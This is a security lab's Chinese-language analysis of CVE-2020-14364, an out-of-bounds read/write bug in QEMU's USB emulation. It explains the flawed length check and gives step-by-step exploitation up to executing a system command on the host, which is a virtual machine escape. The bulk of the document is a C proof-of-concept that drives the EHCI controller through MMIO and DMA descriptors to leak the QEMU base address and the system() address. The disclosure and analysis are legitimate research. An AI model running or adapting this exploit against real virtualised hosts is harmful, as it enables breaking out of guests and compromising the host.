奇安信代码安全实验室研究员为Red Hat发现六个漏洞（CVE-2020-14364、CVE-2020-10756、CVE-2020-12829、CVE-2020-14415、CVE-2020-15863和CVE-2020-16092），其中 CVE-2020-14364 被评为具有“重要影响”。研究员第一时间向 Red Hat报告且协助其修复漏洞。本文分析的是 CVE-2020-14364，希望给大家带来一些启发。
作者
奇安信代码安全实验室研究员张子明
QEMU（quick emulator）是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化开源托管虚拟机（VMM）。
QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。
USB总线通过创建一个USBpacket对象来和USB设备通信。
Usbpacket对象中包含以下关键内容。
struct USBPacket {
/* Data fields for use by the driver. */
int pid;
uint64_t id;
USBEndpoint *ep;
....
};
其中pid表明packet的类型，存在三种类型in、out、setup, ep指向endpoint对象，通过此结构定位目标usb设备。
数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配，传送的长度由s->setup_len限制。
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
漏洞存在于s->setup_len赋值的过程do_token_setup中。
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
虽然进行了校验，但是由于在校验前，s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞。
1. 泄露USBdevice对象的地址。
观察越界可读内容发现
struct USBDevice {
...
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];
QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;
...};
可以从下方的ep_ctl->dev获取到usbdevice的对象地址。
2. 通过usbdevice的对象地址我们可以得到s->data_buf的位置，之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。
3. 我们还需要获取任何地址读取功能，setup_buf [0]控制写入方向，并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能，因此setup_buf [0]是写入方向，因此只可以进行写入操作，无法读取。
绕过方法：设置setup_index = 0xfffffff8，再次越界，修改setup_buf [0]的值，然后再次将setup_index修改为要读取的地址，以实现任意地址读取。
4. 通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址，再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。 该地址位于程序data节区。 这时，我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。
5. 在data_buf中伪造irq结构。
6. 以伪造结构劫持ehcistate中的irq对象。
7. 通过mmio读取寄存器以触发ehci_update_irq，执行system（“ xcalc”）。 完成利用。
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
unsigned char* mmio_mem;
char *dmabuf;
struct ohci_hcca * hcca;
struct EHCIqtd * qtd;
struct ohci_ed * ed;
struct ohci_td * td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh * qh;
struct ohci_td * td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next linkpointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer*/
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next linkpointer */
uint32_t altnext; /* Standard next link pointer*/
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd =open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt /0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) !=8)
die("read");
// Assert page present
phys = (phys & ((1ULL<< 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr))= value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem +addr));
}
void init(){
int mmio_fd =open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR |O_SYNC);
if (mmio_fd == -1)
die("mmio_fd openfailed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_memfailed");
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED |MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
hcca=dmabuf;
dmabuf32=dmabuf+4;
qtd=dmabuf+0x200;
qh=dmabuf+0x100;
setup_buf=dmabuf+0x300;
}
void init_state(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
struct EHCIqtd * qtd;
qtd=dmabuf+0x200;
qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
setup_buf[6]=0xff;
setup_buf[7]=0x0;
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
void set_length(uint16_t len,uint8_t in){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
setup_buf[0]=in;
setup_buf[6]=len&0xff;
setup_buf[7]=(len>>8)&0xff;
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
void do_copy_read(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 1<<8 | 0x1f00<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x1000);
qtd->bufptr[1]=virt2phys(dmabuf+0x2000);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
int main()
{
init();
iopl(3);
outw(0,0xc0c0);
outw(0,0xc0e0);
outw(0,0xc010);
outw(0,0xc0a0);
sleep(3);
init_state();
sleep(2);
set_length(0x2000,0x80);
sleep(2);
do_copy_read();
sleep(2);
struct USBDevice* usb_device_tmp=dmabuf+0x2004;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
uint64_t dev_addr=usb_device.ep_ctl.dev;
uint64_t *tmp=dmabuf+0x24f4;
long long base=*tmp;
if(base == 0){
printf("INIT DOWN,DO IT AGAIN");
return 0;
}
base-=0xee5480-0x2668c0;
uint64_t system=base+0x2d9610;
puts("\\\\\\\\\\\\");
printf("LEAK BASE ADDRESS:%llx!n",base);
printf("LEAK SYSTEM ADDRESS:%llx!n",system);
puts("\\\\\\\\\\\\");
}
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